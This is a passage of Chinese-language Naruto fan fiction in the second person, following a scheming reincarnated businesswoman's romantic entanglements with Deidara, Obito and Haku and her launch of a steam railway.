“这当然重要了。”迪达拉脱口而出,但真要问究竟是什么让他觉得那么重要,他一时半会又答不上来,他只是觉得自己必须从你那里得到一个答案,这样才能让他心安。 你说:“嗯,我们之间的关系等到你把那些任务完成以后就可以结束了。” 这个回答显然不能让迪达拉满意,他不自觉地皱眉,说:“结束?你想要结束我们的关系?” “那不然呢?我们之间本来就只是债主和债务人的关系啊,我不是一开始就和你说得清清楚楚吗?”要不是为了让他还清债务,你想你应该也不会和他产生什么交集的。 迪达拉说:“不,我根本就没听过。” 你微微睁大眼睛,你可是和他明明白白说过的啊,怎么到他嘴里就变成了没说过呢? 睁眼说瞎话也不是这样的啊。 算了,反正你也快要离开这里了,你说:“如果死缠烂打的话只会显得你很难看哦。” 迪达拉的脸色变了又变,最后变得很难堪,他说:“你对谁都是这样的吗?利用完了就丢到一边?” “不,我的意思是,好聚好散,而不是黏在一块。” 你提着自己的手提箱走出房间,迪达拉站在门口说:“如果那个阿飞也可以的话,我为什么不可以呢?” 你停下脚步,回过头对他笑了一下,说:“因为你是个幼稚的小鬼啊。” 和你见了一面的迪达拉最后收获的只有一肚子的怒气,他暗自下定决心,决定下次一定要狠狠地报复,现在他还要执行任务就不和你计较了。 迪达拉的怒气在和这次任务的搭档汇合的时候又冒了出来,他对着蝎说了一大通,最后总结道:“她真是个坏女人!嗯!” 蝎的反应很平淡,他说:“但也是个漂亮的坏女人,你要实在是气不过的话,那就下次找机会把她杀了做成人偶吧,我倒是很想要一个漂亮的收藏品。” “什么——但我也不是这个意思啊。”迪达拉急急忙忙地替你辩解,刚才还在盘点你的罪行的迪达拉现在反而站在你这边为你说话。 “哦?你刚才不还说她是个坏女人吗?那我这么做也是在为你出气,不好吗?” “这个,她只是稍微有点坏而已,也没有坏到这种程度,你的手段有点过头了。”迪达拉也摸不清蝎到底是在开玩笑还是认真的。 “是么,但她也确实很美丽——” “就算是报复的话,那也应该让我来才对,就不用麻烦你了。”迪达拉打断蝎接下来要说的话,像是担心他又说出别的什么过激手段。 蝎嗤笑一声,“听起来就像是你在心疼她。” 什么?心疼谁啊?他都在胡说八道什么啊?迪达拉还在嘴硬,“我没有。” “噢。”蝎淡淡地说,不过有一点可以确定,那就是迪达拉刚才说的话确实引起了他对你的好奇心,要是能和你见面的话……他估计真的会把你做成收藏品的吧。 在后面的路途中迪达拉一改之前对你的负面评价,还会说你做的好事,比如说帮着建立工厂什么的,说着说着就开始夸奖你了。 蝎都要怀疑自己的搭档是不是被调包了,唯一一点没变的是你的三心二意,迪达拉说你薄情寡义,容易移情别恋。 等等,蝎问道:“你们是恋人吗?” 迪达拉秒答:“不是啊。” 那他为什么用一副被抛弃的恋人的口吻指责你呢?蝎颇感疑惑,他说:“你既然不是恋人那就没什么好说的。” 迪达拉年纪算是晓组织里偏小的成员,心里还藏不住事情,他说:“那以后可以是啊。” 蝎沉默 了,接下来他都没搭理迪达拉,安安静静地赶路。 * 另外一边的你正在前往茗之国的途中,一想到接下来就能看到火车了,要说你内心毫无波澜那肯定是假的,你激动地和白畅谈日后铁路铺满全世界,建造一系列交通网那该有多方便。 “当然啦,如果当地需要建造铁路的话只能使用我的团队,而且我得要收取一定的使用费。”你可没有那么好心地不求回报,你所做的一切都是建立在有利可图的基础上的,虽然听上去有些功利,但有的时候利益反而是最有效的驱动力。 无论你说什么白都会认真地听着,还没等你到达茗之国,先见到的不是火车而是戴着面具的宇智波带土,说起来他上次突然离开是去执行任务了吧? 已经能够习惯宇智波带土这样悄无声息地出现,你甚至还能友好地和他打招呼,说:“怎么今天有空来找我?” 带土说:“你倒是很悠闲,在赌场里搞出那么大动静的人就是你吧?” “不是啊。”你摊手,虽然你确实搞出过不少事情,但这件事情可不能算在你头上啊,“你这是冤枉我了啊。” 带土又问:“另外那个宇智波呢?你把他给抛弃了?” 带着几分恶意,还有几分期待地看向你,你撇撇嘴,“没有啊,他去替我做事了。” “哼,你倒是厉害,能说动那么多人替你做事,就是不知道你又会给他们什么报酬呢?” 那就是什么都不给,也不能这么说,你想给钱的,但是他们一个个地视金钱如粪土,一你给钱就跟你急,那你这也是迫于无奈才只能让他们给你打白工的呀,你也是心里有苦说不出啊。 “他们没和我要东西啊。” 带土与你并肩同行,阴测测地说:“一群装清高的家伙。” 哎不是,他这样是不是连着他自己也一块骂了啊? 真不愧是宇智波,发起狠来连自己都骂。 你说:“君子论迹不论心。” 带土说你倒是会避重就轻,你说他该多读读书,木叶的文化课显然不过关。 提到木叶带土就不说话了,或许早在他的心里那里已经成为他内心无法愈合的一道伤疤,他再也无法回到过去,也无法回到木叶。 沉默如同病毒蔓延,你瞧了他一眼,他的面具刚才被你摘下,从你的角度看去只能看见他留有伤疤的那一边侧脸,你说:“怎么,难过得说不出话来了?” “没有。”他反驳道,“你想多了。” 你拍拍他的肩膀,说:“别难过了,我带你去看个好东西吧。” 带土对你嘴里说的好东西持怀疑态度,他半信半疑地说:“什么东西?” “现在还不能和你说,这是秘密。” 你还和他卖关子,带土更加怀疑你说的好东西很可能又是用来骗人的,尽管怀疑,他最后还是跟着你一块离开,没错,他还是那么心口不一。 在赶路途中不可避免地要风餐露宿,不过好在白准备了帐篷,在帐篷里过夜和直接睡在野外是截然不同的感受,正所谓由俭入奢易,因为白的贴心照顾直接导致你现在对生活的各方面都有些挑剔,当然还没有到鸡蛋里挑骨头的程度。 入夜以后白在森林平坦的空地上搭了两个帐篷,你也不是每次都需要白守在你身边的,当天晚上你才关灯没多久,就有谁站在帐篷外问你:“我可以进来吗?” 你说:“可以是可以,但要是你打扰到我睡觉那你就死定了。” 带土拉开帘子走到帐篷里,跟着夜风一起飘过来的还有他身上残留着的沐浴剂香味。 行吧,至少知道爬过来的时候好好打理一下自己,你这才勉为其难地没把他给赶出去。 窸窸窣窣地,那是衣物摩擦的细微动静,声响蔓延到你的耳边,他靠了过来,手撑在你的脑袋旁边,你没睁眼,但也能想到现在是什么情况,于是你说:“你有什么想对我说的吗?” “你都不肯看我一眼吗?”他幽怨地说,“你对其他男人也是这样的么?哈……尤其是对待那个年轻的宇智波。” 等一下,你可从来没在他面前说年轻的宇智波这一类词语啊,也不知道他是受了什么刺激,自己就开始陷入年龄歧视的怪圈了,你说:“首先,在你来之前我本身就要睡觉了,而睡觉呢就是要闭上眼睛才能睡的,其次,你那年龄危机感又是从哪里来的?” 你越是这么心平气和就越显得带土这是在无理取闹,尽管事实的确如此,但是,他不承认这一点,他说:“但你确实很容易移情别恋。” “我这叫博爱。” “你偷换概念。” 真麻烦,你睁开眼,揪着他的衣领让他的身体压低几分,然后给了他一个敷衍的吻,他都感觉到了,这个吻非常敷衍,甚至还带着几分不耐烦,似乎在无声地问:闹够了没有? 有你这么敷衍人的么? 带土说:“我就知道你是喜新厌旧的。” 你叹息一口气,捏了一下他的脸颊,而后说:“我喜欢体贴懂事的人,你觉得你现在的行为和这两个词沾边吗?” 恼羞成怒地,想要报复你,但他所能想到的报复也不过是将自己的脑袋埋进你的颈窝里,然后舍不得咬人,只是亲吻一下,最后再把你带到自己的怀里,你已经有点困了,也不管他的情绪有没有恢复正常,你的睡眠才是最重要的。 第二天是在带土的怀里醒来的,你睁开眼,发现他还在装睡。 装什么啊他。 你好笑地凑近看他的眼睫,被你这么盯了一会的带土终于破功,他说:“你昨天说梦话了。” “是吗?”你坐起来,带土说:“是啊,你还在叫别人的名字,佐助,你在呼唤这个名字,你之前不是已经玩弄过他的哥哥了么?啊……看样子你是没打算放过他们兄弟俩了么?” “不要对别人的梦境有太强的控制欲。”你说,而且再说了,你前阵子才遇到过佐助,他出现在你的梦里也很正常吧,看带土那阵势就像是抓到你移情别恋似的,但退一万步说,你就算真的找别人也没问题欸。 带土说:“那种小鬼有什么好的?幼稚得要命。” 你站起身离开帐篷,走之前你对他说:“可能是胜在他年轻貌美吧,年轻嘛,无论在哪个行业年轻就是资本啊。” 这话可把他给气坏了,等到了茗之国还在和你冷战,但他的冷战对你造成的影响是零,你还能和白商量去茗之国验收火车的安排,你让白先去和当地的负责人交接,等白走后就只剩下你和带土了,他说:“你怎么把他给支走了?” “稍微有点事情需要麻烦他,虽然他走了,但我知道要是真的发生了什么危险情况,带土你肯定也会保护我的对不对?”你半是调侃地说。 带土没说话,你就是拿准了他不会伤害你的心理,他说:“既然你都已经知道了答案为什么还要问?” 话语间你领着他来到铁路边,远方的火车穿过森林悠悠地朝着这里行驶过来,这算是火车的初始版本,你也不强求它的运行速度能有多块了,只要能动起来就行。 带土的注意力被靠近的火车吸引,那辆火车最后在你们面前停下,以煤炭燃烧作为动力的火车头上还飘着一股浓烟,这画面颇有一股复古的味道,你走到车厢上,转过身弯腰对着带土伸出手,说:“来吧带土,和我一块踏上旅程吧。” 带土顿了一下,他的视线停留在你的掌心,然后再一点一点地向上移动,最后与你四目相对,他说:“这就是你说的好东西吗?” “是啊,你跟不跟我走啊?”这火车也不能一直停在这里,再待一会就要走了。 带土将自己的手放在你的手上,你抓住他的手掌,稍微一用力,然后就把他带到车厢里,火车也恰好在这时开始缓缓运行。 站在正运行着的列车上,带土还有些不适应,他环视四周,就像是初次接触人类交通工具的猫科动物,左看看右看看地,你没有松开他的手,拉着他往前走,这虽然还是试验中的列车,但靠近列车头的车厢装修显然比后面几节车厢要豪华不少。 没错,这就是日后的头等舱了,等火车运行的次数够了以后,你就会将这一交通工具向世界各国推行,到时候光是收取的车票手续费就足以让你的现有资产翻一番,这就是垄断的魅力呀。 带土从一开始的有些不适应,到后来沉默地跟着你往前走,这一过程只用了半分钟,看得出来他的适应能力很强,你头也没回地对他说:“这就是火车了,很适合运送货物,等以后技术成熟了还能载人,这样一来人们外出同行就会便利许多。” 话语间你拉开通往头等舱的移门,这一节车厢的内部装修风格简约奢华,不至于一眼看过去让人觉得眼花缭乱,车厢内的色彩主要以米色白色还有浅棕色为主,悬挂在顶部的水晶吊灯小巧精致,毕竟虽说是头等舱,但也不能改变这只是个车厢的基础面积。 所以如果安装太浮夸的水晶吊灯的话反而会显得不协调,你当初还特意在他们提交上来的车厢修改方案里提到了这一点,看来他们都有认真看过你给的建议。 车厢内壁贴着的是米色的墙纸,但如果仔细看的话就会发现上面还有凸起的花纹,在灯光的照耀下暗纹的光影如同获得生命的植物在内壁上生长蔓延。 坐在柔软的皮质沙发上,其实这节车厢并没有直接连接着的火车头,因为中间还隔了一个独立餐吧,酒水和餐食都有供应,但因为这趟火车还在试运行阶段,所以餐吧里也没有专门的乘务员。 你坐在沙发上,看向对面的带土,说:“怎么样,很不错吧?” 带土说:“你打算到时候通过四通八达的铁路控制其他国家吗?” 什么控制不控制的啊,他们这些忍者动不动就给人上价值,你听得耳朵都要起茧子了,你说:“我没有这方面的想法,而且铁路通往其他国家能带动当地的经济发展,你就不能往好的方向发展吗?” “好的方向……” 不是带土想得太坏,只是他太过于了解人性,他知道这个世界有多无可救药,所以再好又能好到哪里去呢? “我实在是想象不出来。”带土看向窗外,眼神里少见地透露出几分迷惘,他明明已经下定决心照着那条路走下去了,可为什么还是会动摇呢?为什么在直视你的双眼时还是会犹豫呢? “那就不要想了,反正你日后都会看到的。”你单手托腮。 说出这种话的你多多少少是有些狂妄的,但带土却不觉得你这是在白日做梦,因为你之前就已经通过很多举动证明了一点,那就是你确实拥有改变这个世界的能力,但你不想,也不愿意成为救世主。 “自顾自地说着要成为救世主,但其实根本就没有问过别人的想法,你们宇智波还真是一脉相承的傲慢啊,说到底不就是将自己的想法凌驾于他人之上吗?”你一针见血地指出带土思维上的漏洞。 自那之后带土就很少在你面前说过诸如此类的话,因为每说一次就会被你反驳得哑口无言,被你反驳得多了他都忍不住开始产生动摇,不行,绝对不能再这样下去了。 带土又问:“这辆火车要去往哪里呢?” “去一个好地方。” “你回答了就跟没回答似的。”带土抿抿唇,他的视线从窗外一闪而过的景色转移到你的脸上,你穿着浅色的开衫,漆黑的长发披散在肩头,微风一吹,拂动你脸颊两侧的碎发,有的时候带土会想你很可能是个宇智波,但你又没有宇智波那惯有的重情义特征。 对待什么都游刃有余,好像什么都不在乎,漫不经心的态度真叫人不悦,也就只有在他服侍你的时候才会看到你那张一贯波澜不惊的脸上涌现出绮丽动人的表情,而且还得要他好好服侍你才行,否则就又会被你捏着脸颊没好气地质问怎么一点长进都没有。 真讨厌,他厌恶被你玩弄的自己,但好像又有些离不开你,如果离开了你的话,他又该找谁去诉说自己心里的烦闷呢,尽管他和你说这些的时候你的回应都很敷衍,但他就是能够感觉到,你是可以理解他的,你能够看穿他内心的进退两难。 说是知己也不为过吧,所以他才会忍耐着,一直一直忍耐着。 列车穿过郁郁葱葱的山地,前方就是隧道了,进入隧道的一瞬间周围都变得漆黑,光线瞬间暗了下来,你忽然站起身,越过他和你中间的桌子,手指扯着他的衣领,将他往你的方向一带,然后亲吻一下他的嘴唇。 是很心血来潮的吻,如果真的要问有什么意义的话,大概得到回答就是“啊……因为想做所以就那么做了”,这种有些敷衍,但又充满你个人风格的回答。 火车隧道内不是完全的漆黑,实际上隧道两边都安装着小灯,一闪一闪地,如同穿梭在暗夜海洋中的水手窥见的灯塔光亮。 他被动地承接这个吻,或许是觉得这样的自己太怯懦了,决心要找回主动权,他亲了回来,此番举动没换回来主动权,只换来了你的轻笑声。 轰—— 火车驶出隧道,周围的一切又恢复光亮,他最先看到的亮光不是窗外的阳光,而是你神采奕奕的双眼。 他说:“现在你满意了?” “你不也挺高兴的吗?”你说。 带土下意识地就要否认,他不应该拥有快乐的,他尽可能地将这种情绪从自己身上剥离下来,哪怕这样会让自己变得血肉模糊,但是,总好过被眼前的假象欺骗,他说:“我讨厌你。” “我以为这种话你会留到晚上说的。” 带土真的有点生气了,但你略过他的气恼就像是略过贴在墙角的小广告。 不光忽视,而且还若无其事地问他要不要喝酒,气得他说:“我不喝。” “噢。”过了一会你又问,“那果汁呢?” 问题的关键点是这个吗?带土怒极反笑,你又在避重就轻什么啊? 最后你端给他一杯可可,上面还飘着几块白乎乎的棉花糖,你递过来的时候还说:“喏——很符合你的口味吧?” 别搞得好像你很了解他似的,带土没好气地瞥了你一眼,然后端着热可可安静地喝起来,但他喝了热可可不代表他已经消气了,他和你之间的冷战在所难免。 冷战对你们的影响各不相同,你神色自若,反倒是主动发起冷战的带土时不时地偷看你几眼,手指轻轻地敲着杯子外壁,不难从他那些细微的小动作里看出他内心的焦躁不安。 又过了两个隧道,但后面两个隧道他都没有等来你的吻。 足以证明先前那个吻只不过是你的随意举动而已。 咬下一口半融化的棉花糖,甜滋滋的味道在口腔里弥漫开来,他抿了抿唇,嘴唇上面也沾了点棉花糖。 吃掉最后一颗棉花糖,火车的速度逐渐慢了下来,你站起身,拿出手帕擦拭他的唇角,又握住他的手腕。 你这又是在做什么?他刚才的沉默难道还不足以表明他和你冷战的态度还有决心吗? 他说:“你干嘛?” “我们要下车了,你应该也不想坐过站吧?” 噢,看来是他自作多情了,你只是考虑到他会不会坐过站的问题而已,他干巴巴地应了一声,从火车上下来,带土和你站在月台上,他看见了簇拥着月台的人群,每个人的脸上都挂着笑,都在说着欢迎。 带土又看了一眼那红底白字的横幅。 ——热烈欢迎明希女士莅临参观池缘镇火车建设成果 “他们在欢迎你啊。”带土说,你轻轻地摇晃了一下他的手,说:“也在欢迎你。” “但上面都没有我的名字。” 你点点头,“那你可以 做我背后的男人啊。”说完你都忍不住笑了,“哈哈哈——如果你愿意的话。” 带土把头转到另外一边,闷闷不乐地说:“你背后的男人可多了去了,我能排得上号?” 那他还挺有自知之明的,你就不和他开玩笑了,你说:“你还记得以前我让你送的那一批药品和疫苗吗?” “不记得了。”带土嘴硬地说,实际上他记得一清二楚,不光是那些货物,还有你拜托他运送的时候说的话他也记得清楚。 “行吧,那些人就是因为你转移的药品和疫苗才能活下来的,带土,这些人是因为你而重获新生的。”你的声音在空气中消散,带土这才缓慢地转过头,那动作慢得就像是电影里的慢镜头,他看了看你,又不动声色地去看那些村民,眼睫颤抖了一下,“就算你这么说……” 你所说的那些话与他而言没有任何意义,他不会为了谁而改变自己的决定。 还没等带土的话音落下,就有村民代表主动来送花,在你的示意下那个负捧着花的小孩子将花束送到带土的怀里,又对着带土笑了下,估计还在换牙,这样一笑就露出缺了一颗的门牙,但样子还是可爱的。 带土动作僵硬地捧着花,这个时候他应该说些什么呢?所幸他在下车前戴上了口罩,所以旁人无法清晰地看见他的表情变化,更不会知道现在的他有多无措,他出自本能地看向你,因为你在什么时候都是游刃有余的,哪怕面对这种场面也是。 仿佛接收到了他的无措,你压低声音说:“这个时候表示你的感谢就行了,说一声谢谢应该没有那么难吧?” “谢谢。”有些拧巴地开口说话。 那负责送花的孩子笑容灿烂,就是说话漏风,“不用谢!” 带土是不是笑了一下呢?你瞥了一眼他的侧影,应该是笑了的吧,你拍拍他僵硬的手臂,说:“你在这里可以稍微放松一下,反正也没人盯着你。” 对此带土不置可否,他果然还是……无法放松下来,尤其是在被这么多人包围的情况下,动作和神情都不太自然,你们在村民的簇拥下来到村庄里,也不能算是小村子,因为既然这里建造了火车站,说明很快这里的经济也会发展起来,逐渐从村子变成小镇,然后再成为一座城市,这就是地区的演变了。 这次莅临活动还有当地负责人领着你们去参观火车站内部的设施,你也在火车站内部和白碰头,他说:“明希你路上应该没有发生什么事情吧?” 话语间他不加掩饰地朝着带土投去一个怀疑的眼神,是的,他合理怀疑带土在途中会为难你,在他看来这个宇智波一点都不体贴懂事,总是和你无理取闹,难道他不知道你的时间和精力都是很宝贵的吗?竟然还敢这样浪费你的时间。 带土不甘示弱地看了回去,他说:“也没什么,就是她亲了我而已。” 也不知道他在炫耀什么,白心想,如果真的要比的话,他也被你亲吻过许多次,但这样的比较又有什么意义呢?只会显得说这话的人很幼稚而已。 白没有展开这个话题,他不咸不淡地应了一声,说:“是么,嗯,那我应该恭喜你么?” 像是一拳打在棉花上,无力感扑面而来,估计是白和你待在一起的时间久了,以至于说话方式都和你很像,包括惹人生气的手段也是如出一辙。 你站在旁边听负责人讲解,其余人跟随着你的脚步逐渐离开,只留下白和带土脱离队伍,白说:“刚才的场合并不适合说这些,显然你没有考虑到这一点。” 难怪你会和他说宇智波的社会化程度很低,这不就是鲜明的例子吗? 带土说:“你说这话只是在忌恨而已。” 这家伙脑袋里装着的都是什么啊,白强忍住对他翻白眼的冲动,尽可能维持着礼貌的态度,他说:“也许吧,但你确实很容易给明希添麻烦。” 等你参观完一圈下来发现白还和带土凑在一块,真是稀奇,他们居然有那么多的话可以聊吗?你对着负责人摆摆手示意他们先下去吧,你走到他们身边,说:“看起来你们相处得很好。” “是啊。”“你是怎么得出这个结论的?”白和带土的声音重叠在一块,你最先听到的是白的声音。 你对白说:“对了,当地负责人说待会要把文件给我,你可以先替我过目,如果格式有问题的话就帮忙改一改,我晚上再看。”至于现在,你打算去这个小村子里转一转,你问带土要一起吗?他当着白的面阴阳怪气地说:“你就不怕我给你添麻烦吗?” 白扯了扯嘴角,你一下子就了然,说:“那就别跟过来了。” 走出一段路,背后传来一阵匆匆的脚步声,他这不还是跟了过来吗? “你就不能稍微偏袒我一下吗?”他问道,“你就是喜欢欣赏别人难堪的样子是吗?” 你走到火车站的后出口,那连接着一大片的水稻田,风一吹,绿油油的水稻就跟着弯下腰,你微微眯起眼睛享受微风拂过脸颊的触感,等他说完了这些有的没的,你才说:“现在心情平静一点了吗?” 并没有,他还在气头上,他说:“没有。” 你拉着他的手走向那片水稻田,踩在田垄上,脚步越来越快,最后甚至是小步跑起来,吓飞了几只蝴蝶,还有青蛙从你们脚边跳过,呱呱地叫着。 从田垄的这头跑到另外一头,你总算是停下脚步,回过头,摘下他的口罩,“我认为我给你的偏袒已经足够多了,带土,做人可不能太贪心呀。” 贪心又有什么不好的呢?他想,倘若贪心能够得到自己想要的,那么贪心就能够被美化成一样工具。 “你难道忘了吗?我们之间的关系不是恋人,顶多算是情人吧,所以你最好是不要越界了。”在这样美丽悠闲的风景里,你说的话语却很尖锐直白。 到底什么才是你的恋人呢?到底怎么做才能获得幸福呢?他问:“所以你是觉得我没有利用价值了吗?” 那倒没有,顶多就是觉得宇智波的喜欢有些黏糊糊的,粘在手上就怎么也甩不掉了,好像牛皮糖啊…… “当情人不好吗?对于双方来说都很自由啊。”你觉得这没什么不好的,但他们宇智波一个个地都希望与你成为灵魂伴侣,原来他们都是高需求的人群吗? 还是因为忍者从小就被教育要压抑自己的情感所以情感需求才会变得那么浓重呢? 嗯,关于这个问题都能设置一个专门的课题组了。 “这只是对你来说而已。”带土没好气地说,“你肯定是有别的男人了。” 这副怨夫的语气是怎么回事的啊? 他用审视的目光注视你许久,然后叹了一口气,算了,与其和你斤斤计较还不如背地里直接把那些凑到你身边的莺莺燕燕都给解决了呢,这才是最简单粗暴的方法,他说:“但这也不是你的错。” 都是其他男人的过错,尤其是宇智波,他非常清楚那些家伙有多擅长讨你喜欢,你的性格确实有点爱玩没错,他可不会因此责怪你。 万一,他是说万一,你因此而对他感到厌烦,这不是反而顺了其他男人的意吗? 不行,这种事情绝对不能发生。 因此他沉吟片刻,居然没有那么生气了。 真神奇,他居然消气了,你说:“你怎么消气了?” 带土说:“我可不会给别的男人趁虚而入的机会。”那他想得还挺多的,居然都已经考虑到这一方面,你说:“嗯嗯,那你确实考虑周到。” 他分不清你这究竟是在嘲讽还是真的夸奖,就当做真正的夸奖吧。 * 时间来到晚上,当地村民还举办了篝火晚会,你喝了两杯自制的米酒,喝起来甜滋滋的,酒精度数是真的不低,两杯下去你的脸颊都会变得红彤彤的,你没去跳舞,而是站在旁边看着村民载歌载舞,带土似乎从你的侧影里看到一丝丝的落寞。 你也会感到落寞吗?你在为什么而感到失落呢? 他说:“你在难过什么?” “人总是会在非常热闹的场景下莫名的感觉到孤单,你不会有这种感觉吗?” 没有,在发生意外前带土就很喜欢这种热闹的场面,哪怕经历了那么多,他看着这场景,思考的也只是世界的未来而已。 “也许有一 点吧。”他似乎可以理解你。 少了平日里那股神气,他好像隐约接触到了真实的你,那他能看到你的真心吗?他仔细观察,你端着酒杯,说:“这里曾经有过一场传染病,当局者觉得这里的人都没救了,要把这里的村民全都烧死,免得传染病蔓延到其他地方,那个时候是你转移的药品被送到这里,就是这趟列车——” 你指了指那停栖在车站里的火车,黑魆魆的车厢,就在那时带来了希望。 “所以,带土你也救了很多人哦。” “但我不会回头的,我已经……无法回头了。” “你又没有去往冥界,为什么不能回头呢?” “我……” 你本来是懒得掺和他那什么的月之眼计划,你觉得很扯淡,这是忍者世界搞什么黑客帝国的剧情啊,但带土那么严肃认真,你有预感这个计划会爆雷,就跟你上辈子搞金融然后爆雷的产品是一个道理,前期越是涨势迅猛,越是让人向往,那后期铁定爆雷。 到时候他或许会因为沉没成本太大而崩溃的吧,所以你以一个过来人的立场对他说:“哪有那么多一本万利的事情,投资需谨慎啊。” 带土的表情还是那么苦大仇深,“可是又有谁能够阻止这一切呢?你吗?” 第39章 “谁知道呢,或许日后事情还会出现转机呢?”你没什么诚意地安慰着他。 “你其实一点都不在乎这些的对么?” 你说:“你不能因为我不关心这些就认为我毫不在乎,你习惯性地讨论这么宏大的议题,最后只会把自己给架起来,我给你的建议是降落下来看看这个世界的真实一面。” 你的耐心就要被耗尽了,算了,和这个世界的人讨论这些问题本就是自讨没趣,毕竟他们都没怎么上过文化课,更别提政治课了,难怪理解能力堪忧,你有种自己在对牛弹琴的无力感。 凉爽的夜风吹去你脸颊上的绯红,你的脑袋都变得清醒许多,你把手一摊,说:“你要那么想我也没办法。” 懒得管,你才不插手这种事情,还是好好当你的黑心资本家吧。 你在离开露天晚会前又喝了一杯米酒,味道真不错,你感觉今天肯定能有个好梦,等你洗漱完从浴室里出来,看见带土站在你的房间里,你漫不经心地擦拭头发,带土一副欲言又止的样子,他说:“我今晚能在这里留宿吗?” “不能,你还是去睡屋顶吧。”你偶尔还是有点记仇的,但也真的只是一点点而已。 温暖舒适的屋内和凉飕飕的屋顶光是想想就知道哪个更好,带土虽然脑回路清奇,但也不傻,知道睡外头风大,他就说:“但我想待在这里。” 你指了指角落里的躺椅,“那你就待在那里吧。” 带土“噢”了一声,真的老老实实地将自己的身躯塞到那张躺椅里,你关了灯,黑暗中,你还是能感受到他在看你,那是不加掩饰的目光,你忽略他的视线。 就在你快要睡着的时候带土问道:“你明天早餐想要吃什么啊?” “随便。” 你算是听出来了,他这是通过给你做早餐来道歉,你翻了个身,没再回应他,安静地睡去。 带土还算听话,晚上也没有爬床,真的挤在那张躺椅上睡了一晚上。 早上他比你醒得要早,醒来以后就去厨房,但白起得比他还早,他们两人就在厨房里撞个正着,气氛算不上尴尬,但也没有多和谐就是了,白说:“你来这里做什么?” “替明希做早餐啊。” 白的脸上分明写着“你做早餐那我做什么?”,带土说:“我昨天晚上已经和她说过了。” 对此白半信半疑,宇智波带土说的话信一半都算多的,但你目前又需要利用他的能力,白也不会做出损害你的利益的事情,所以他微不可察地点了点头,就把早餐的工作交给了带土,至于他自己,那自然是来到你的房间,用温柔的语气叫你起床。 你之前已经醒过一次了,但后面又迷迷糊糊地睡了过去,等你再睁开眼映入眼帘的就是坐在床边的白,他说:“会不会感觉有些头疼呢?米酒的酒精度数虽然不高,但喝得多了也会头痛的。” 头痛吗……你眨了眨眼睛,目前看来是没有的。 你说:“没有。”又翻了个身,走下床,目光瞥见远处的躺椅还有上面被叠放得整整齐齐的毛毯,有种微妙的感觉。 “需要我帮你更衣吗?”白说。 你虽然有点没怎么睡醒,但也还没到需要他帮着更衣的程度,于是你想也不想地就拒绝了,白将你要穿的衣服放在一旁的台面上,你伸了个懒腰,一边洗漱一边打开系统面板,你最近点亮的模块是[铁路交通]还有[酿酒业]。 点开前者可以看到一张缩略地图,上面标注这你已经建造起来的火车站站点,还有目前已经通车的铁路轨道,现在看来就只有茗之国这个国家点亮了几个火车站点,这种事情果然急不来的啊,毕竟建造铁路确实耗费时间,而且如果强行增加工人的工作时间还会出现[工伤][疲劳猝死]这种突发事件。 一旦出现这种事件就会影响总体的工作效率,所以你只能将工作时间控制在固定范围内,再加上偶尔的天气影响,冬天和夏天的极端气候影响,所以现在茗之国境内能够有一条通车的线路已经算是你目前取得的阶段性成功了。 光是修建铁路都这么麻烦了,光是想想就知道到时候修建飞机场得要多耗时耗力,更重要的是,这个世界上还有不少忍者,随便放一个忍术就会把你的基建进度直接扣成负数。 这种情况放在合同里都算是不可抗力。 相较之下还是[酿酒业]比较省心省力,因为当地酿酒历史悠久,所以你也不用担心品控问题,但你还是安排了几个下属过去负责产品创新,研发更多的葡萄酒衍生物,这样也能增加销路。 吐掉嘴里的牙膏泡沫,漱口,再洗把脸,牙膏的薄荷味太浓,都辣到你的舌头了,不过这样也好,你刷完牙就变得神清气爽,换上衣服。 早餐是带土准备的华夫饼,上面还涂了点奶油,再点缀一颗草莓,新鲜的草莓散发着浓郁的香味,光是闻起来就觉得会很好吃,用刀叉切开华夫饼,让侧面也沾上奶油,奶油的潜在油腻感被草莓的酸甜完美中和,再搭配华夫饼本身的口感。 坐在对面的带土看似满不在乎,实则还在暗中观察你的反应,看到你满意的样子他才算是放心。 吃到一半你就问带土,“你就没有别的什么事情要做吗?” 这话落在带土耳朵里就像是在驱逐他,他说:“你很希望我走?” “那倒没有,你不是还有宏图大业要实现吗?”如果这个世界是俗套的热血漫的话,那么带土就是板上钉钉的反派,当然 ,看他现在这么摇摆不定的样子你合理怀疑最后作者还回来一波洗白,然后读者观点两极分化。 好像扯远了,你想说的是,这样一个反派应该去搞事情的,而不是在这里穿着围裙给你做华夫饼。 但有一说一,他做的华夫饼确实好吃。 “吃了我做的东西你还那么嘲讽我?” 天地良心,你可没嘲讽他,他接着又说:“我的事情自由安排。” 这话和“我有自己的节奏”有着异曲同工之处,你没说穿,也没戳破,免得他炸毛,你敷衍地噢噢两声,然后就没有然后了。 反正带土要走你也不会拦着他,顶多就是给他布置一点任务而已,正所谓物尽其用人尽其才嘛,你这也是在合理利用他的能力,就是你听说使用万花筒写轮眼的次数多了实力会严重下降,果然那么厉害的能力是要付出一点代价的。 于是你这次在给带土下达任务以后就又问:“你的眼睛还好吗?” 收下你给的资料和物资清单,带土反问:“你问这个做什么?” “噢,我听说宇智波使用万花筒写轮眼次数太多的话眼睛会很痛。” 所以你这是在关心他么? 疼痛是在所难免的,既然无可避免,那就只能选择接受,在遇到你之前带土已经能够和疼痛自洽相处,但你的出现开了坏头,从你的手指划过他的疤痕询问是怎么来的时候,当你仿佛感同身受说着自己为他感到痛苦的时候。 哪怕你说这话的真心只有一分,在他心里也会变成好多分。 他说:“既想要强大的实力,又不想付出代价,世界上哪有那么好的事情呢?” 哇,真没看出来他居然这么认可这一想法,他要是生活在你的上辈子肯定是个乐于吃苦的人。 但你不一样,你在上辈子就已经吃了太多苦,你现在只想要享受,你说:“所以是痛的对吧?”你又把话题给扯了回来。 带土顿时没话讲了,痛不痛什么的真的有那么重要吗?如果说疼的话就能换来你的安抚吗?可这种东西都是具有成瘾性的,太过依赖的话只会让自己变得懦弱。 人一旦有了牵挂的事物就会变得怯懦。 他还在嘴硬,“没有。” 但你递给他一瓶眼药水,直接塞进他的手里的,“行了,以后眼睛痛的时候滴两滴吧,这是大蛇丸研发的,效果有保障。” 差点就要说大蛇丸老字号了,你真的有在思考要不要把大蛇丸这个名号当做商标注册,但是一想到对方目前好像还在绝赞叛逃中,你就只能暂时打消了这个心思。 “大蛇丸没那么好心,你和他打交道总有一天会被他暗算的。” 你当然知道啊,所以你当初在替他建造那座办公大楼的时候还隐秘地安装了一套自毁程序,一旦他背刺你,你就直接把他的实验室给炸了,让他的实验成果也付诸一炬,总之就是他要是背叛你,他也讨不着好处。 而且再说了,他有什么想不开地背叛你呢?你能提供稳定的资金来源,而且还不干涉他的研究,放在上辈子你就是那些实验室最喜欢的老板了啊。 